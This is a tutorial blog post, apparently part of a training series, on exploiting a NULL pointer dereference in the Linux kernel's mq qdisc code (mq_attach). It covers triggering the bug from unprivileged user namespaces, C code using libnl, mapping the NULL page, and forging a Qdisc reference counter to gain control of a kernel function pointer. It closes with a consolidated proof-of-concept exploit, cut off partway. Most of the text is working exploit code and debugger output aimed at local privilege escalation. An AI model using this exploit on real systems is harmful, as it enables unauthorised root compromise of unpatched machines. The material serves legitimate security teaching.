Introduction
In the previous post of this series, we presented an introduction to exploiting vulnerabilities in the Linux kernel. We set up the environment that allows us to work on the vulnerability chosen for this series. In this post, we will trigger the vulnerability through our proof of concept written in C. By doing this, we take an essential step towards successfully exploiting the vulnerability to achieve our end goal: a Local Privilege Escalation (LPE) bypassing most of the modern mitigations.
Fortunately, the commit (36eec020fab66 net: sched: fix NULL pointer dereference in mq_attach) that fixes the vulnerability also includes shell commands that trigger the vulnerability in its description. So, we already have a great starting point.
1) ip link add bond0 type bond
2) ip link set bond0 up
3) tc qdisc add dev bond0 root handle ffff: mq
4) tc qdisc replace dev bond0 parent ffff:fff1 handle ffff: mqWe will start by using shell commands to trigger the vulnerability, and at the end, we will have a C program that accomplishes that same goal and goes a bit further, preparing the scene for a proper exploit. By writing it in C code, we can understand the pieces better, trigger the vulnerability with greater precision, create payloads to be executed, and so on.
Subsystem background
Understanding the subsystem where the vulnerability occurs is not always necessary to write an exploit. In this section, we will briefly contextualize some terms that will appear from now on.
In the commit description message, you can get a lot of information about what is happening with the vulnerability. It even contains commands that can be used to trigger it:
1) ip link add bond0 type bond
2) ip link set bond0 up
3) tc qdisc add dev bond0 root handle ffff: mq
4) tc qdisc replace dev bond0 parent ffff:fff1 handle ffff: mqAs we can see, the commands do the following:
- Creates a network interface of type ‘bond’ with the name bond0
- Sets the bond0 interface up
- Adds a queuing discipline ‘mq’ on the interface as handle ffff:
- Replaces the interface’s ‘mq’ queuing discipline with another ‘mq’
Queuing discipline (qdisc) is a generic computing term that describes a policy used to handle the processing of items in a queue-like data structure. In the case of the Linux kernel’s networking subsystem, packets are sent in a queued manner.
In this scenario, a queuing discipline is a policy added to the interface that defines how packets should be arranged (queued) to be sent. This allows you to configure packet priorities, for example. We are dealing with a queuing discipline of the ‘mq’ (multiqueue) type to trigger the vulnerability.
Triggering the vulnerability through shell commands
In the scenario where shell commands allow us to trigger the vulnerability, the first step is to use them:
user@debian12:~$ ip link add bond0 type bond
RTNETLINK answers: Operation not permitted
user@debian12:~$However, when using the first command, which creates a network interface, we realize we do not have permission to perform this action. After all, creating a network interface is an action that requires certain privileges on the system. One possibility to bypass this barrier is to use an unprivileged user namespace.
Unprivileged user namespace
Namespaces are a feature of the Linux kernel that isolate specific resources. Several namespaces are implemented in Linux, such as user, network, mount, IPC, and others. When a privileged operation is performed, a query to the kernel structures usually happens to validate whether the user has a specific capability relative to the namespace in use. In the case of the ip command, the required capability is CAP_NET_ADMIN. Since the user does not have this capability in the initial network namespace, the error “Operation not permitted” is returned when executing the command.
Validation can be performed in the initial user namespace or in the namespace in which the user is at the time of executing the command. The difference in the kernel is in the relationship between the functions capable() and ns_capable().
- The first,
capable(), implicitly uses the initial user namespace of the system—the namespace where the system starts up and where all initial applications are present. - The
ns_capable()function receives a specific user namespace as an argument to perform the validation within that isolated context.
If the system allows it and the user creates a new user namespace, they will generally have all the capabilities in that namespace. If the desired operation uses ns_capable() to validate privileges, the user who does not have the privileges in the initial namespace will typically be able to perform that operation in their own namespace. Therefore, the user can create a new user namespace through the command or system call unshare() and clone(), and through setns() it is possible to move to other namespaces once you have privileges to do so. More information about namespaces can be found here.
NOTE: It is not always possible for users with no elevated privileges on the system to create namespaces. On the system we use for the lab, Debian 12, it is allowed by default. Therefore, we call it an unprivileged user namespace.
The most practical way to create namespaces via shell is using the unshare command. When running unshare, we use the -U, -r, and -n arguments to create a user namespace, map the user as root within the namespace (consequently with all possible capabilities in the created namespace), and a net namespace, respectively. Thus, the commands to trigger the vulnerability can be executed.
user@debian12:~$ unshare -Urn
root@debian12:~# ip link add bond0 type bond
root@debian12:~# ip a
1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: bond0: <BROADCAST,MULTICAST,MASTER> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 2a:99:c6:3e:bb:b3 brd ff:ff:ff:ff:ff:ff
root@debian12:~#After creating the namespace that allows us to have privileges to perform the actions we need, we can execute the commands to trigger the vulnerability:
user@debian12:~$ unshare -Urn
root@debian12:~# ip link add bond0 type bond
root@debian12:~# ip link set bond0 up
root@debian12:~# tc qdisc add dev bond0 root handle ffff: mq
root@debian12:~# tc qdisc replace dev bond0 parent ffff:fff1 handle ffff: mq
KilledAs a result of the execution, the process has been terminated. By analyzing the kernel message logs, we can investigate what happened:
NOTICE: When the vulnerability is triggered, the system becomes unstable and does not respond well to some commands if you want to view the log messages through SSH access. For this reason, when this happens, we can use GDB to view the logs using the lx-dmesg command in the Python script available in the Linux kernel code (which we configured in the previous post when setting up the environment).
$ gdb vmlinux -q
(gdb) target remote :1234
(gdb) lx-dmesg
...
[ 611.688888] BUG: kernel NULL pointer dereference, address: 0000000000000000
[ 611.688920] #PF: supervisor read access in kernel mode
...Perfect! The goal of triggering the vulnerability was accomplished using shell commands. The next step is to trigger it with our own code to do other operations, such as mapping the NULL address, building payloads, and preventing the machine from crashing.
NOTICE: When correctly triggering the vulnerability, the machine will sometimes enter an unstable state, presenting slowness and crashing. When this happens, restart the virtual machine.
You can do this directly through the hypervisor you use or via GDB with the command monitor system_reset if your hypervisor supports it.
Rewriting the trigger in C
To do this, we need to write a C program that does the following:
- Create user and net namespaces
- Create a network interface of type bond with the name bond0
- Set the bond0 interface up
- Add a queuing discipline ‘mq’ on the interface with the handle ffff:
- Replace the interface’s ‘mq’ queuing discipline with another ‘mq’
Unprivileged user and net namespaces
Besides the unshare command, there is also an unshare() system call, which we use to create namespaces. To use this system call, we must define in the argument the type of the namespace we would like to create. As we did previously, we want an independent user and net namespace. This is done with the flags “CLONE_NEWNET | CLONE_NEWUSER“.
To specify that the namespace user should have root-like privileges and determine its capabilities, we must map the UID of the user outside the namespace to the user inside. We achieve it by writing to the /proc/self/uid_map file.
As a result, we get the following code:
#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void setup_namespace(void) {
int f;
printf("[*] Creating namespace\n");
if (unshare(CLONE_NEWNET | CLONE_NEWUSER) < 0) {
perror("unshare");
exit(EXIT_FAILURE);
}
printf("[*] Namespaces created successfully\n");
f = open("/proc/self/uid_map", O_WRONLY);
if(f < 0) {
perror("cannot open /proc/self/uid_map");
exit(EXIT_FAILURE);
}
if(write(f, "0 1000 1", 8) < 0) {
perror("cannot write on /proc/self/uid_map");
close(f);
exit(EXIT_FAILURE);
}
printf("[*] User mapped to root inside the namespace!\n");
close(f);
return;
}
int main(void) {
setup_namespace();
system("ip a");
return 0;
}NOTE: We have added the `ip a` command to see the result of the operation as we progress through the code that triggers the vulnerability. This way, we can see if the desired modifications are being made correctly.
We compile and run the code:
user@debian12:~$ gcc exploit.c -o exploit
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Namespaces created successfully
[*] User mapped to root inside the namespace!
1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
user@debian12:~$The output of the system("ip a") command shows a different number of network interfaces than when the command is executed in the initial net namespace, confirming that we successfully created the namespaces.
Netlink
Netlink is an Inter-Process Communication (IPC) mechanism that exchanges messages between user processes and the kernel. This is the mechanism used to perform most networking operations, especially the ones through the ss and ip commands. The network family is AF_NETLINK.
We can perform several operations using Netlink, such as collecting system information or even making some configurations. We will use the latter case: making configurations (creating a network interface and other necessary operations).
Netlink is divided into several sub-families for specific actions communicating with the kernel, such as NETLINK_ROUTE, NETLINK_NETFILTER, NETLINK_SOCK_DIAG, etc. As we need to configure an interface, the Netlink family used is NETLINK_ROUTE. You can access more information about Netlink by clicking here and about NETLINK_ROUTE here.
Installing dependencies
We will use the libnl library to interact with the kernel by sending and receiving messages via Netlink. So, we need to install the packages for this library and pkg-config, as the library authors recommended specifying it during compilation. This is easier than interacting with Netlink directly via network system calls.
$ sudo apt install -y pkg-config libnl-3-dev libnl-route-3-devAfter that, it is possible to use the library for our goal.
NOTE: We will use the libnl library for practical reasons, as this way, we can focus on exploiting the vulnerability and not on the Netlink usage.
Creating the interface – step 1
To create a bond-type network interface, you need to include some headers:
#include <netlink/socket.h>
#include <netlink/route/link.h>
#include <netlink/route/link/bonding.h>We must also allocate an object of type struct nl_sock. The library uses it to manage the Netlink socket. Since it is dynamically allocated, we have to free it before finishing the code.
struct nl_sock *sock_nl = nl_socket_alloc();
...
nl_socket_free(sock_nl);We use the sock_nl object to connect the socket and to exchange messages with the kernel through it. To improve the code readability, we wrapped the bond interface creation in a function called create_bond_interface().
...
int main (void) {
struct nl_sock *sock_nl;
int err = 0;
setup_namespace();
sock_nl = nl_socket_alloc();
if (sock_nl == NULL){
perror("nl_socket_alloc");
exit(EXIT_FAILURE);
}
if (nl_connect(sock_nl, NETLINK_ROUTE) < 0) {
perror("connect");
err = EXIT_FAILURE;
goto error;
}
if (create_bond_interface(sock_nl, "bond0") < 0) {
perror("create_bond_interface");
err = EXIT_FAILURE;
goto error;
}
system("ip a");
error:
nl_socket_free(sock_nl);
return err;
}The create_bond_interface() function uses the Netlink socket (which we have created and connected previously) to send the message to create the desired interface to the kernel. To do this, it allocates an object of type struct rtnl_link and defines the interface name.
int create_bond_interface(struct nl_sock * nl, char * name) {
struct rtnl_link *link;
int ret = 0;
if (nl == NULL){
return -1;
}
if (name == NULL){
return -1;
}
printf("[*] Creating interface %s\n", name);
link = rtnl_link_bond_alloc();
if (link == NULL){
return -1;
}
rtnl_link_set_name(link, name);
ret = rtnl_link_add(nl, link, NLM_F_CREATE);
rtnl_link_put(link);
return ret;
}Now, we must inform gcc about the libnl library so it can build the code. We do this using pkg-config:
user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)
user@debian12:~$By running the resulting code, we can see that the interface is correctly created within the namespace through the output of the command system("ip a").
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Namespaces created successfully
[*] User mapped to root inside the namespace!
[*] Creating interface bond0
1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: bond0: <BROADCAST,MULTICAST,MASTER> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 5e:3d:0b:d7:19:28 brd ff:ff:ff:ff:ff:ff
user@debian12:~$As we can see, the created interface is in the DOWN state, and we need to set it to UP.
Setting the interface to UP state – step 2
Bringing the interface UP using libnl is similar to creating it. The crucial difference is that we must set the IFF_UP flag on the interface since, this way, we are communicating to the kernel that we want the interface in the UP state. This flag is defined in the linux/if.h header, so we must include it:
#include <linux/if.h>
...
int set_interface_up(struct nl_sock * nl, char * name) {
struct rtnl_link *link;
int ret = 0;
if (nl == NULL){
return -1;
}
if (name == NULL){
return -1;
}
link = rtnl_link_bond_alloc();
if (link == NULL){
return -1;
}
rtnl_link_set_name(link, name);
printf("[*] Setting interface %s up\n", name);
rtnl_link_set_flags(link, IFF_UP);
ret = rtnl_link_add(nl, link, NLM_F_CREATE);
rtnl_link_put(link);
return ret;
}
...This way, the interface is correctly created and initialized to the UP state, as you can see below:
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Namespaces created successfully
[*] User mapped to root inside the namespace!
[*] Creating interface bond0
[*] Setting interface bond0 up
1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: bond0: <NO-CARRIER,BROADCAST,MULTICAST,MASTER,UP> mtu 1500 qdisc noqueue state DOWN group default qlen 1000
link/ether 5e:3d:0b:d7:19:28 brd ff:ff:ff:ff:ff:ff
user@debian12:~$At this point, we see the interface has no qdisc configured: qdisc noqueue. We will add a queuing discipline next.
Adding a queuing discipline – step 3
To create a queuing discipline via libnl, we use functions and structures defined in other library headers. So we have to include them in the code:
#include <netlink/route/tc.h>
#include <netlink/route/qdisc.h>The function we created to add a queuing discipline to the interface does the following:
- Executes the command to add the specified queuing discipline to the interface.
- Allocates an object of type
struct rtnl_qdisc(later we must also release this object). - Searches for the interface based on the given name. This search allocates a
struct rtnl_linkobject, which is used in the next step. - Configures the ‘qdisc’ object with the necessary information, such as which interface it should be added to and its type (‘mq’).
The code is as follows:
int qdisc_add(struct nl_sock * nl, char * name) {
int ret = 0;
struct rtnl_qdisc *qdisc;
struct rtnl_link *link;
if (nl == NULL){
return -1;
}
if (name == NULL){
return -1;
}
printf("[*] Adding a qdisc to %s interface\n", name);
qdisc = rtnl_qdisc_alloc();
if (qdisc == NULL) {
perror("qdisc allocation");
return -1;
}
if (rtnl_link_get_kernel(nl, 0, name, &link) < 0) {
perror("can't find interface");
return -1;
}
printf("[*] ifindex: %d\n", rtnl_link_get_ifindex(link));
rtnl_tc_set_link(TC_CAST(qdisc), link);
rtnl_tc_set_parent(TC_CAST(qdisc), TC_H_ROOT);
rtnl_tc_set_handle(TC_CAST(qdisc), TC_HANDLE(0xffff, 0));
rtnl_tc_set_kind(TC_CAST(qdisc), "mq");
ret = rtnl_qdisc_add(nl, qdisc, NLM_F_CREATE);
rtnl_qdisc_put(qdisc);
rtnl_link_put(link);
return ret;
}After compiling and executing the code, we can see a queuing discipline of type ‘mq’ added to the interface:
user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Namespaces created successfully
[*] User mapped to root inside the namespace!
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: bond0: <NO-CARRIER,BROADCAST,MULTICAST,MASTER,UP> mtu 1500 qdisc mq state DOWN group default qlen 1000
link/ether 12:fa:bf:24:d4:b1 brd ff:ff:ff:ff:ff:ff
user@debian12:~$There’s no need to understand all the details of the libnl functions other than the abstract/higher level reasoning behind each step. The last thing to do to trigger the vulnerability is to replace the queuing discipline with another one.
Changing the queuing discipline – step 4
The piece of code we need to replace the ‘qdisc’ is quite similar to the one used to add it. One of the differences is the action used. Note that when calling the rtnl_qdisc_add() function this time, the requested action is NLM_F_REPLACE, while during the queuing discipline addition the action demanded is NLM_F_CREATE. Furthermore, when configuring the ‘qdisc_new’ object, we do not define the ‘parent’ as root but as the handle 0xffff:0xfff1.
int qdisc_replace(struct nl_sock * nl, char * name) {
struct rtnl_qdisc *qdisc_new;
struct rtnl_link *link;
int ret = 0;
if (nl == NULL){
return -1;
}
if (name == NULL){
return -1;
}
printf("[*] Replace qdisc on %s interface\n", name);
qdisc_new = rtnl_qdisc_alloc();
if (qdisc_new == NULL) {
perror("qdisc new allocation");
return -1;
}
if (rtnl_link_get_kernel(nl, 0, name, &link) < 0) {
perror("can't find interface");
return -1;
}
rtnl_tc_set_link(TC_CAST(qdisc_new), link);
rtnl_tc_set_parent(TC_CAST(qdisc_new), TC_HANDLE(0xffff,0xfff1));
rtnl_tc_set_handle(TC_CAST(qdisc_new), TC_HANDLE(0xffff, 0));
rtnl_tc_set_kind(TC_CAST(qdisc_new), "mq");
ret = rtnl_qdisc_add(nl, qdisc_new, NLM_F_REPLACE);
rtnl_qdisc_put(qdisc_new);
rtnl_link_put(link);
return ret;
}By executing the code, we reach a scenario similar to the one in which the trigger was done via shell commands, in which the system terminates the program:
user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Namespaces created successfully
[*] User mapped to root inside the namespace!
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
KilledThis happens because the kernel detected a problem during the execution of the process. Using GDB, we can see the kernel log messages:
(gdb) lx-dmesg
...
[ 2595.402855] BUG: kernel NULL pointer dereference, address: 0000000000000000
[ 2595.402878] #PF: supervisor read access in kernel mode
[ 2595.402885] #PF: error_code(0x0000) - not-present page
...
[ 2595.403051] Call Trace:
[ 2595.403063] <TASK>
[ 2595.403068] qdisc_graft+0x3fb/0x750
[ 2595.403078] tc_modify_qdisc+0x465/0x7e0
[ 2595.403086] rtnetlink_rcv_msg+0x14b/0x3b0From the messages, we noticed the vulnerability was triggered again, this time by our code written in C. We also see other information, such as the occurrence of a page fault (#PF), which we discuss below.
Page fault and address mapping
Page fault (#PF) is an exception generated by the CPU’s Memory Management Unit (MMU) when attempting to access a memory address that is not associated with a physical page, among other scenarios. In this case, the page fault indicates that the page is not present:
(gdb) lx-dmesg
...
[ 2595.402885] #PF: error_code(0x0000) - not-present pageThis means that the virtual address accessed is not mapped to a physical address. As discussed in the first post of this series, we must map the NULL address to solve this.
We can map memory via the mmap() system call, and to do so, we need to include the sys/mman.h (memory management) header. To use the mmap() system call, we must provide several parameters, including the address we want to map (ensuring the MAP_FIXED flag is specified), the number of bytes/pages, and the permissions. In our case, only one page will be allocated with both read and write permissions.
In addition to mapping the address, we must perform an operation on this mapping to make sure it’s mapped to a physical address. By performing a write operation, we intentionally trigger a page fault, which forces the kernel to populate the process’s page table with a physical page. This way, when the kernel accesses the address when the vulnerability is triggered, it will find the page as present and access a physical page containing our data. A simple write is enough for this, such as *mynull = 0, as shown below:
#include <sys/mman.h>
...
char * mynull = mmap(NULL, PAGE_SIZE * PAGES, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
if (mynull == MAP_FAILED) {
perror("null mapping");
exit(EXIT_FAILURE);
}
*mynull = 0;So, we have the NULL address mapped from address 0x0000000000000000 to 0x0000000000000fff. From now on, any access to the addresses in this range will find data controlled by us.
We can run the code and observe the behavior after the modification:
user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Namespaces created successfully
[*] User mapped to root inside the namespace!
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
BUG at file position ././lib/object.c:224:nl_object_put
exploit: ././lib/object.c:224: nl_object_put: Assertion `0' failed.
Aborted(gdb) lx-dmesg
...
[ 5479.058638] ------------[ cut here ]------------
[ 5479.058642] refcount_t: underflow; use-after-free.
[ 5479.058665] WARNING: CPU: 0 PID: 687 at lib/refcount.c:28 refcount_warn_saturate+0xba/0x110
...
[ 5479.058743] Call Trace:
[ 5479.058758] <TASK>
[ 5479.058759] mq_attach+0x55/0xa0
[ 5479.058766] qdisc_graft+0x3fb/0x750
[ 5479.058768] tc_modify_qdisc+0x465/0x7e0
[ 5479.058771] rtnetlink_rcv_msg+0x14b/0x3b0
...You can see that the message differs from the previous one, indicating that we have solved the problem of the page not present. This time, the message points out an issue related to the reference counter. We will discuss this in the next section.
Fixing the reference counter issue
A reference counter is a variable that serves as a counter for the number of references an object has during its lifecycle. This counter works as follows: when a reference is made to an object, its reference counter is incremented, and when the reference is no longer needed, the reference counter is decremented. When the counter value reaches zero, it indicates no remaining references; therefore, the object can be safely released from memory without causing use-after-free vulnerabilities.
Because it is a widely used and fundamental concept, the Linux kernel code provides a dedicated API to handle this type of counter. The reference counter API performs several validations regarding the counter’s state. One of these is the underflow check, which detects when the counter is decremented after reaching zero. This generates an underflow and use-after-free warning. This is precisely what occurred in the message generated when executing the latest version of the code.
[ 5479.058642] refcount_t: underflow; use-after-free.
...
[ 5479.058743] Call Trace:
[ 5479.058758] <TASK>
[ 5479.058759] mq_attach+0x55/0xa0From the log message, we know exactly where the problem occurred: in the function mq_attach() at offset 0x55 (85 in decimal):
(gdb) disas mq_attach
Dump of assembler code for function mq_attach:
...
0xffffffff818270b0 <+80>: call 0xffffffff818258d0 <qdisc_put>
0xffffffff818270b5 <+85>: cmp 0x3cc(%rbp),%ebx
0xffffffff818270bb <+91>: jae 0xffffffff81827083 <mq_attach+35>The problem occurs at the instruction immediately following or during the call to the qdisc_put() function.
static void mq_attach(struct Qdisc *sch)
{
...
for (ntx = 0; ntx < dev->num_tx_queues; ntx++) {
qdisc = priv->qdiscs[ntx];
old = dev_graft_qdisc(qdisc->dev_queue, qdisc);
if (old)
qdisc_put(old);
..
...
}void qdisc_put(struct Qdisc *qdisc)
{
...
if (qdisc->flags & TCQ_F_BUILTIN ||
!refcount_dec_and_test(&qdisc->refcnt))
return;
qdisc_destroy(qdisc);
}The qdisc_put() function receives the address of an object of type struct Qdisc as an argument. Within this object, a reference counter is accessed and verified through the API refcount_dec_and_test().
(gdb) ptype struct Qdisc
type = struct Qdisc {
...
refcount_t refcnt;
...
}
(gdb) ptype refcount_t
type = struct refcount_struct {
atomic_t refs;
}
(gdb) ptype atomic_t
type = struct {
int counter;
}We can add a breakpoint through GDB to analyze the execution when it reaches this function. As follows, we will now display the argument that this function receives (the address of the struct Qdisc object) and the current value of its reference counter:
(gdb) b *qdisc_put
(gdb) commands
>i r $rdi
>p ((struct Qdisc *)$rdi)->refcnt->refs->counter
>end
(gdb) cWhen running our code, we observe that the object at address 0x28 (the location of the object relative to the NULL page) has a reference counter equal to zero. Consequently, the decrement operation occurs, leading to a subsequent access with a value that triggered the following error message:
Thread 1 hit Breakpoint 1, qdisc_put (qdisc=0x28 <fixed_percpu_data+40>) at net/sched/sch_generic.c:1074
1074 {
=> 0xffffffff818258d0 <qdisc_put+0>: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
rdi 0x28 40
$25 = 0
...
Thread 1 hit Breakpoint 1, qdisc_put (qdisc=0x28 <fixed_percpu_data+40>) at net/sched/sch_generic.c:1074
1074 {
=> 0xffffffff818258d0 <qdisc_put+0>: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
rdi 0x28 40
$30 = -1073741824The result is shown above: “$25 = 0”. Since the object at address 0x28 falls within the range we control (0x0000000000000000 to 0x0000000000000fff), we can directly control the value of the reference counter for that object after triggering the vulnerability.
When analyzing an object of type struct Qdisc, you will notice that the reference counter is located at offset 0x64. This information can be obtained using the pahole command:
$ pahole Qdisc vmlinux --hex
struct Qdisc {
...
refcount_t refcnt; /* 0x64 0x4 */
...
/* size: 384, cachelines: 6, members: 30 */
/* sum members: 264, holes: 3, sum holes: 120 */
/* forced alignments: 2, forced holes: 2, sum forced holes: 80 */
} __attribute__((__aligned__(64)));The struct Qdisc object is at address 0x28 and its reference counter is at offset 0x64, i.e., at address 0x8c. When refcount_dec_and_test() checks it, the counter is 0.
To simplify things, we create a structure in our code that mirrors the struct Qdisc object and place it, including the reference counter, in an aligned way that results in the reference counter at the exact address/offset the function refcount_dec_and_test() called by the kernel will find it. This also simplifies things because we can deal with the structure using C pointers (that is elegant) rather than calculating/using offsets, which is much more error-prone. The definition of our struct Qdisc is shown below:
struct Qdisc {
char pad1[0x64];
int refcnt;
char pad2[280];
} __attribute__((__aligned__(64)));Since the struct Qdisc pointer in the kernel is pointing to address 0x28 (and expects the counter at offset 0x28 + 0x64), we map our representation structure to that same memory region. By setting myqdisc->refcnt, we directly control the value that the kernel reads during its validation checks.
struct Qdisc * myqdisc = (void *)0x28;
myqdisc->refcnt = 1;By making this modification, the system returns a different error. This confirms that the kernel is now using our NULL address.
user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Namespaces created successfully
[*] User mapped to root inside the namespace!
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
KilledAn analysis of the kernel log messages reveals significant progress: the kernel attempted to execute code in a memory region without execution permissions. The resulting error—highlighting an NX-protected page and a permissions violation—is a definitive sign that the kernel executed an unintended function pointer.
(gdb) lx-dmesg
...
[ 13.044650] kernel tried to execute NX-protected page - exploit attempt? (uid: 1000)
[ 13.044673] BUG: kernel NULL pointer dereference, address: 0000000000000028
[ 13.044679] #PF: supervisor instruction fetch in kernel mode
[ 13.044686] #PF: error_code(0x0011) - permissions violation
...
[ 13.044848] Call Trace:
[ 13.044854] <TASK>
[ 13.044859] ? qdisc_destroy+0x3b/0xc0
[ 13.044871] ? mq_attach+0x55/0xa0
[ 13.044876] ? qdisc_graft+0x3fb/0x750The error message reveals an attempt to execute code at address 0x28. This occurs because during the mmap() call, the mapping was not created with execution permission, triggering a page fault that halts execution. Even if the mapping had been created accordingly, the NULL page is initialized with zeros. A sequence of 0x00 bytes represents a valid instruction, but it would crash sooner or later because this is not the code we intended to execute.
However, running code at that address wasn’t intended, and it happened directly as a result of triggering the vulnerability and fixing the reference counter issue.
The code involved in the vulnerability is in a for loop that accesses an array of objects, as can be seen on line 114 below. When the vulnerability is triggered, the object priv->qdiscs is NULL, so the first object (index 0) is a NULL pointer. Because the NULL mapping we created is initialized with zeros, accessing the address *0x0 returns 0x00 as the content.
The call to ->destroy() happens in qdisc_put(old) when old points to the address 0x28, but this happens only after a few iterations in the for loop. Before that, qdisc_hash_add() is called with the qdisc pointing to 0x28. This function adds the qdisc object to a hash list, and this is the operation that results in the value 0x28 being placed at the offset of the ->destroy() function pointer located at address 0x50.
106 static void mq_attach(struct Qdisc *sch)
107 {
108 struct net_device *dev = qdisc_dev(sch);
109 struct mq_sched *priv = qdisc_priv(sch);
110 struct Qdisc *qdisc, *old;
111 unsigned int ntx;
112
113 for (ntx = 0; ntx < dev->num_tx_queues; ntx++) {
114 qdisc = priv->qdiscs[ntx];
115 old = dev_graft_qdisc(qdisc->dev_queue, qdisc);
116 if (old)
117 qdisc_put(old);
118 #ifdef CONFIG_NET_SCHED
119 if (ntx < dev->real_num_tx_queues)
120 qdisc_hash_add(qdisc, false);
121 #endif
122
123 }
124 kfree(priv->qdiscs);
125 priv->qdiscs = NULL;
126 } 279 void qdisc_hash_add(struct Qdisc *q, bool invisible)
280 {
281 if ((q->parent != TC_H_ROOT) && !(q->flags & TCQ_F_INGRESS)) {
282 ASSERT_RTNL();
283 hash_add_rcu(qdisc_dev(q)->qdisc_hash, &q->hash, q->handle);
284 if (invisible)
285 q->flags |= TCQ_F_INVISIBLE;
286 }
287 } 557 static inline struct net_device *qdisc_dev(const struct Qdisc *qdisc)
558 {
559 return qdisc->dev_queue->dev;
560 }By setting breakpoints on the calls to qdisc_hash_add() and qdisc_put(), we can see this in action and confirm the details. When the vulnerability is triggered and after some iterations, one of the objects ends up pointing to 0x28. Through the call to qdisc_hash_add(), the value 0x28 is written to address 0x50, which is where the qdisc->ops->destroy pointer is located. This explains why the kernel tries to execute code at that address after triggering the vulnerability and fixing the reference counter.
Thread 1 hit Breakpoint 1, 0xffffffff818270c5 in mq_attach (sch=0xffff888007b82800) at net/sched/sch_mq.c:120
120 qdisc_hash_add(qdisc, false);
=> 0xffffffff818270c5 <mq_attach+101>: e8 a6 18 00 00 call 0xffffffff81828970 <qdisc_hash_add>
(gdb) i r $rdi
rdi 0x28 40
(gdb) x/gx 0x50
0x50: 0x0000000000000000
(gdb) ni
113 for (ntx = 0; ntx < dev->num_tx_queues; ntx++) {
=> 0xffffffff818270ca <mq_attach+106>: 3b 9d c8 03 00 00 cmp 0x3c8(%rbp),%ebx
0xffffffff818270d0 <mq_attach+112>: 72 bc jb 0xffffffff8182708e <mq_attach+46>
(gdb) x/gx 0x50
0x50: 0x0000000000000028
(gdb) c
Continuing.
Thread 1 hit Breakpoint 2, 0xffffffff818270b0 in mq_attach (sch=0xffff888007b82800) at net/sched/sch_mq.c:117
117 qdisc_put(old);
0xffffffff818270ad <mq_attach+77>: 48 89 c7 mov %rax,%rdi
=> 0xffffffff818270b0 <mq_attach+80>: e8 1b e8 ff ff call 0xffffffff818258d0 <qdisc_put>
(gdb) i r $rdi
rdi 0x28 40
(gdb) print/x ((struct Qdisc *)$rdi)->ops->destroy
$70 = 0x28
(gdb) c
Continuing.Next steps
Finally, we triggered the vulnerability through our C code and fixed an issue that resulted in a different error. By stabilizing the kernel’s interaction with the NULL page, we have successfully reached the point of arbitrary code execution in the kernel through the ->destroy function pointer. In the next post of this series, we will manipulate the ->destroy() callback to point to a function under our control, allowing us to perform arbitrary code execution in the kernel and consequently escalate our privileges to root.
Upcoming Introduction to Linux Kernel Exploitation training
Enjoying this series? Then you’ll love our Introduction to Linux Kernel Exploitation training coming in September 2027. This series serves as an introduction to the content we’ll cover. Check out the details at the link below.
Introduction to Linux Kernel Exploitation – September 2027
https://allelesecurity.com/introduction-to-linux-kernel-exploitation-september-2027/
References
If you would like more material on this topic, we recommend the following sources:
- namespaces(7) and unshare(2)
- netlink(7) and rtnetlink(7)
- libnl and libnl-route
- Introduction to Netlink
- Kernel Korner – Why and How to Use Netlink Socket
Final proof of concept
The trigger code was built step by step throughout this post, but here is a complete, consolidated version for your reference. This implementation demonstrates the mapping of the NULL page, the initialization of the reference counter at the specific offset, and the setup required to reach the execution hijack point.
You will need the following packages to build the proof of concept.
$ sudo apt install -y pkg-config libnl-3-dev libnl-route-3-devYou can build the code below using the following gcc flags:
$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <linux/if.h>
#include <sys/mman.h>
#include <netlink/socket.h>
#include <netlink/route/link.h>
#include <netlink/route/link/bonding.h>
#include <netlink/route/tc.h>
#include <netlink/route/qdisc.h>
struct Qdisc {
char pad1[0x64];
int refcnt;
char pad2[280];
} __attribute__((__aligned__(64)));
#define PAGE_SIZE 4096
#define PAGES 1
void setup_namespace(void) {
int f;
